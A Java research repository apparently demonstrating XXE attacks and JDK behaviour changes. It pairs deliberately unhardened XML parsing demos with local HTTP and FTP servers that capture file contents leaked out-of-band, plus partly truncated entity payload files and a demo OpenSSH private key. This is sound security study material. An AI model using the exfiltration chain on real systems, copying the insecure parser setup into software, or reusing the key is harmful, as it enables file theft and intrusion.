├── .gitignore
├── bad_char1.txt
├── bad_char2.txt
├── d1_step1.xml
├── d1_step2.dtd
├── d2_step1.xml
├── d2_step2.dtd
├── line.txt
├── local.xml
├── multi_line.txt
├── readme.md
├── src
└── com
│ └── leadroyal
│ └── xxe
│ ├── ExternalEntityDemo1.java
│ ├── ExternalEntityDemo2.java
│ ├── LocalEntityDemo.java
│ └── server
│ ├── LocalFtpServer.java
│ └── LocalHttpServer.java
└── test.pri
/.gitignore:
--------------------------------------------------------------------------------
1 | .gradle/
2 | .idea/
3 | build/
4 | *.class
5 | out/
6 | *.jar
7 | *.iml
8 |
--------------------------------------------------------------------------------
/bad_char1.txt:
--------------------------------------------------------------------------------
1 | abc"def
2 | abc'def
3 | abc%def
4 | abc&def
--------------------------------------------------------------------------------
/bad_char2.txt:
--------------------------------------------------------------------------------
1 | abc/def
2 | abc?def
3 | abc(\n)def
4 | abc(\r)def
5 | abd#def
6 |
--------------------------------------------------------------------------------
/d1_step1.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 | %include;
5 | %define_http;%send_http;
6 | ]>
7 |
--------------------------------------------------------------------------------
/d1_step2.dtd:
--------------------------------------------------------------------------------
1 |
2 | ">
--------------------------------------------------------------------------------
/d2_step1.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 | %include;
5 | %define_ftp;%send_ftp;
6 | ]>
7 |
--------------------------------------------------------------------------------
/d2_step2.dtd:
--------------------------------------------------------------------------------
1 |
2 | '>
--------------------------------------------------------------------------------
/line.txt:
--------------------------------------------------------------------------------
1 | Hello, my name is line.txt.
--------------------------------------------------------------------------------
/local.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 | ]>
5 | &s1;
--------------------------------------------------------------------------------
/multi_line.txt:
--------------------------------------------------------------------------------
1 | Hello123
2 | World456
--------------------------------------------------------------------------------
/readme.md:
--------------------------------------------------------------------------------
1 | # 9102年java里的xxe
2 |
3 | 9102年了,尝试了一下使用 XXE 攻击 java 程序,高版本会失败,总结了一下 jvm 里的变化。
4 |
5 | > 配合 http://www.leadroyal.cn/?p=914 使用更佳
6 |
7 | ### 有回显的情况,测试 Java XXE 对各种协议的支持情况
8 |
9 | - LocalEntityDemo.java
10 | - local.txt
11 | - line.txt
12 |
13 | 运行可以看到file协议被完全执行一遍,并且有回显。
14 |
15 | ### 使用 http oob 读单行文件
16 |
17 | - ExternalEntityDemo1
18 | - server/LocalHttpServer
19 | - d1_step1.xml
20 | - d1_step2.dtd
21 |
22 | 运行可以看到单行文件内容通过 http 协议传给了http 服务器。
23 |
24 | ### 使用 ftp oob 读多行文件(高版本会失败)
25 |
26 | - 【大于等于7u141】【大于等于8u162】会执行失败
27 | - ExternalEntityDemo2
28 | - server/LocalFtpServer
29 | - d2_step1.xml
30 | - d2_step2.dtd
31 |
32 | 运行可以看到多行文件内容通过 ftp 协议传给了ftp 服务器。
33 |
34 | ### 其他
35 |
36 | - bad_char1.txt 文件中第一类特殊字符
37 | - bad_char2.txt 文件中第二类特殊字符
38 | - test.pri 随手产生的一个私钥,稍微复杂一点,使用 ftp-oob 读多行也可以正常读取到
39 |
40 |
--------------------------------------------------------------------------------
/src/com/leadroyal/xxe/ExternalEntityDemo1.java:
--------------------------------------------------------------------------------
1 | package com.leadroyal.xxe;
2 |
3 | import org.w3c.dom.Document;
4 | import org.xml.sax.SAXException;
5 |
6 | import javax.xml.parsers.DocumentBuilder;
7 | import javax.xml.parsers.DocumentBuilderFactory;
8 | import javax.xml.parsers.ParserConfigurationException;
9 | import java.io.File;
10 | import java.io.IOException;
11 |
12 | public class ExternalEntityDemo1 {
13 | public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
14 | DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
15 | DocumentBuilder builder = dbf.newDocumentBuilder();
16 | Document doc = builder.parse(new File("d1_step1.xml"));
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/src/com/leadroyal/xxe/ExternalEntityDemo2.java:
--------------------------------------------------------------------------------
1 | package com.leadroyal.xxe;
2 |
3 | import org.w3c.dom.Document;
4 | import org.xml.sax.SAXException;
5 |
6 | import javax.xml.parsers.DocumentBuilder;
7 | import javax.xml.parsers.DocumentBuilderFactory;
8 | import javax.xml.parsers.ParserConfigurationException;
9 | import java.io.File;
10 | import java.io.IOException;
11 |
12 | public class ExternalEntityDemo2 {
13 | public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
14 | DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
15 | DocumentBuilder builder = dbf.newDocumentBuilder();
16 | Document doc = builder.parse(new File("d2_step1.xml"));
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/src/com/leadroyal/xxe/LocalEntityDemo.java:
--------------------------------------------------------------------------------
1 | package com.leadroyal.xxe;
2 |
3 | import org.w3c.dom.Document;
4 | import org.w3c.dom.Node;
5 | import org.w3c.dom.NodeList;
6 | import org.xml.sax.SAXException;
7 |
8 | import javax.xml.parsers.DocumentBuilder;
9 | import javax.xml.parsers.DocumentBuilderFactory;
10 | import javax.xml.parsers.ParserConfigurationException;
11 | import java.io.File;
12 | import java.io.IOException;
13 |
14 | public class LocalEntityDemo {
15 | public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
16 | DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
17 | DocumentBuilder builder = dbf.newDocumentBuilder();
18 | Document doc = builder.parse(new File("local.xml"));
19 | NodeList nodes = doc.getChildNodes();
20 | for (int i = 0; i < nodes.getLength(); i++) {
21 | if (nodes.item(i).getNodeType() == Node.ELEMENT_NODE) {
22 | System.out.println(nodes.item(i).getTextContent());
23 | }
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/src/com/leadroyal/xxe/server/LocalFtpServer.java:
--------------------------------------------------------------------------------
1 | package com.leadroyal.xxe.server;
2 |
3 | import java.io.IOException;
4 | import java.io.PrintWriter;
5 | import java.net.ServerSocket;
6 | import java.net.Socket;
7 | import java.util.NoSuchElementException;
8 | import java.util.Scanner;
9 |
10 | public class LocalFtpServer {
11 | private static final int PORT = 2121;
12 | private static final String RETR = "RETR";
13 | private static final String CWD = "CWD";
14 | private static final String TYPE = "TYPE";
15 | private static final String JUNK1 = "EPSV";
16 | private static final String JUNK2 = "EPRT";
17 | private static final String LIST = "LIST";
18 |
19 | public static void main(String[] args) throws IOException {
20 | ServerSocket socket = new ServerSocket(PORT);
21 | while (true) {
22 | Socket client = socket.accept();
23 | new Thread(new Runnable() {
24 | @Override
25 | public void run() {
26 | StringBuilder sb = new StringBuilder();
27 | boolean startRecord = false;
28 | try {
29 | PrintWriter remoteSender = new PrintWriter(client.getOutputStream(), true);
30 | Scanner remoteReader = new Scanner(client.getInputStream(), "UTF-8");
31 | // FTP 的命令一般是 \r\n 作为一行的结束
32 | remoteReader.useDelimiter("\r\n");
33 | remoteSender.println("220 xxe-ftp-server");
34 | while (true) {
35 | String line = remoteReader.nextLine();
36 | System.out.println("> " + line);
37 | if (line.startsWith("USER")) {
38 | remoteSender.println("331 password please - version check");
39 | } else {
40 | remoteSender.println("230 more data please!");
41 | }
42 | if (!startRecord) {
43 | if (line.startsWith(TYPE))
44 | startRecord = true;
45 | } else {
46 | if (line.startsWith(RETR)) {
47 | sb.append('/').append(line.replace("RETR ", ""));
48 | client.setSoTimeout(3000);
49 | String tail = remoteReader.nextLine();
50 | System.out.println("> " + tail);
51 | sb.append('\n').append(tail);
52 | break;
53 | } else if (line.startsWith(JUNK1) || line.startsWith(JUNK2)) {
54 | // nothing
55 | } else if (line.startsWith(CWD)) {
56 | sb.append('/').append(line.replace("RETR ", "").replace("CWD ", ""));
57 | } else if (line.startsWith(LIST)) {
58 | sb.append('/');
59 | break;
60 | } else {
61 | sb.append('\n').append(line.replace("RETR ", ""));
62 | }
63 | }
64 | }
65 | client.close();
66 | } catch (NoSuchElementException e) {
67 | e.printStackTrace();
68 | } catch (IOException e) {
69 | e.printStackTrace();
70 | }
71 | // 为了兼容 CWD ,开头多补充了一个斜杠
72 | System.out.println("=====File Content=====");
73 | String fileContent;
74 | fileContent = sb.substring(1);
75 | System.out.println(fileContent);
76 | System.out.println("=====File Content=====");
77 | }
78 | }).start();
79 | }
80 | }
81 | }
82 |
--------------------------------------------------------------------------------
/src/com/leadroyal/xxe/server/LocalHttpServer.java:
--------------------------------------------------------------------------------
1 | package com.leadroyal.xxe.server;
2 |
3 | import com.sun.net.httpserver.HttpExchange;
4 | import com.sun.net.httpserver.HttpHandler;
5 | import com.sun.net.httpserver.HttpServer;
6 | import com.sun.net.httpserver.spi.HttpServerProvider;
7 |
8 | import java.io.IOException;
9 | import java.io.OutputStream;
10 | import java.io.OutputStreamWriter;
11 | import java.net.HttpURLConnection;
12 | import java.net.InetSocketAddress;
13 | import java.net.URLDecoder;
14 | import java.nio.charset.StandardCharsets;
15 |
16 | public class LocalHttpServer {
17 | public static void main(String[] args) throws IOException {
18 | HttpServerProvider provider = HttpServerProvider.provider();
19 | HttpServer httpserver = provider.createHttpServer(new InetSocketAddress(1234), 100);
20 | httpserver.createContext("/", new MyResponseHandler());
21 | httpserver.setExecutor(null);
22 | httpserver.start();
23 | System.out.println("server started");
24 | }
25 |
26 | public static class MyResponseHandler implements HttpHandler {
27 | @Override
28 | public void handle(HttpExchange httpExchange) throws IOException {
29 | System.out.println("Receive Request Start");
30 | String requestMethod = httpExchange.getRequestMethod();
31 | if (requestMethod.equalsIgnoreCase("GET")) {
32 | System.out.println(URLDecoder.decode(httpExchange.getRequestURI().toString(), "UTF-8"));
33 | String response = "";
34 | httpExchange.sendResponseHeaders(HttpURLConnection.HTTP_OK, response.getBytes(StandardCharsets.UTF_8).length);
35 | OutputStream responseBody = httpExchange.getResponseBody();
36 | OutputStreamWriter writer = new OutputStreamWriter(responseBody, StandardCharsets.UTF_8);
37 | writer.write(response);
38 | writer.close();
39 | responseBody.close();
40 | }
41 | System.out.println("Receive Request End");
42 | }
43 | }
44 | }
45 |
--------------------------------------------------------------------------------
/test.pri:
--------------------------------------------------------------------------------
1 | -----BEGIN OPENSSH PRIVATE KEY-----
2 | b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
3 | NhAAAAAwEAAQAAAQEAraly2Tr6aDk1tUnujiKv3ECNHAyybTGlItc3/ZWat1R5zqJAKEiF
4 | qCqB9fSOpHrnOX6RyIW8Tdm/KyVKKJySt0qyQWTxEggRHVZe3FOLPfXxFDxLqc+RuLm3LI
5 | 4s4qKVnqvb6L1gDurCnr6vQogjLDNWND7HTa3tj/MRk/tSFIMwn/CTqaLm2Zm5g5c532jU
6 | 1vSUI3WOQgYe7oAs9QO2714KCFvcZnM4ZBMh16p0hG91+f3m8Q6eWxXAtEhnzGBDLTn2ky
7 | 8mM/9XIdW5gfNarU2WcFx0zPoAB0KRKt2RV7QUuyDWL4xGScEtAbaeg/Jwy//CnwxAbuTS
8 | /IwTDolQZQAAA9Bc67guXOu4LgAAAAdzc2gtcnNhAAABAQCtqXLZOvpoOTW1Se6OIq/cQI
9 | 0cDLJtMaUi1zf9lZq3VHnOokAoSIWoKoH19I6keuc5fpHIhbxN2b8rJUoonJK3SrJBZPES
10 | CBEdVl7cU4s99fEUPEupz5G4ubcsjiziopWeq9vovWAO6sKevq9CiCMsM1Y0PsdNre2P8x
11 | GT+1IUgzCf8JOpoubZmbmDlznfaNTW9JQjdY5CBh7ugCz1A7bvXgoIW9xmczhkEyHXqnSE
12 | b3X5/ebxDp5bFcC0SGfMYEMtOfaTLyYz/1ch1bmB81qtTZZwXHTM+gAHQpEq3ZFXtBS7IN
13 | YvjEZJwS0Btp6D8nDL/8KfDEBu5NL8jBMOiVBlAAAAAwEAAQAAAQEAjhuUZNjTYog2QASg
14 | 1uThnc2g6ywksiAm7uzI35UVxyG0j3fMImq+HM+0C421UDlWj4DYUQvG/LnLqsXX+oWttZ
15 | nFZqfwcX3ya1xrQcaHsgtY3OM+U1YM++nVT/uEFW1QHEisKrcVLP/EhNyrVDlM9vWHfDdH
16 | JnTGar5QSxUkpK0g9UziIBsmZrNpf6JhKaOR2wIxStIc2VZxBwexcyuQRNgUbUbqZ5zzmW
17 | HlZoP5wJPyMUzelScw61ZnaIg9owAKea5+1gGjqZhNFq4JPEGaim97IimQ54oHjg6PrULd
18 | gm1Yn+3QrSCjhECkwQj37b1VBQfzyqKHdylxJjxihutLvQAAAIEA1QLEd4UqaiBFRlTKmd
19 | o7IRYwlsbZojwxok8jX9H6/Byg6Bc13Rnf4dZQAe7XCDt223Jkajebx3Ohcb8vckj8Rjf6
20 | z9FEAQu162jERS91On86/GI8TMDaqyl1U46khWZYy1cMKNq4iwVFDJTlgGKY8uowqx3VUH
21 | pLKh6xCMSj8moAAACBANYJzeyLl8KKM70Tpp27NnIWHg3LRKiMEy6c9ODcB/EJN+5uHxQN
22 | +H25KcBLS5lIF5Uc40J/yA42/wT6RpzbUMb+SW5tcKClLf+Q8GWrNQGUAulmwuQANrjQQI
23 | oHq2PxysJ1E55SpnotfUTMkRhyGn/+ro/1eWHWRU4jnNQRMV3jAAAAgQDPtTnl3Fu8XfpH
24 | onMCdRELhg+q18frVPHOQJg5+leTWtiJW9TTdycHajpU65w/YImkwkgBfjBrE6M9Ifi2cW
25 | OWd8Ae9JRNJdt9+o61EdJUvsG3Niv75zfS2ZbZU6Kg7jwZWkjYqh2BlOpnOTDrFrOk0KxQ
26 | 5mMUxv0qKUorMnRrFwAAABdsZWFkcm95YWxAbWFjLXByby5sb2NhbAEC
27 | -----END OPENSSH PRIVATE KEY-----
28 |
--------------------------------------------------------------------------------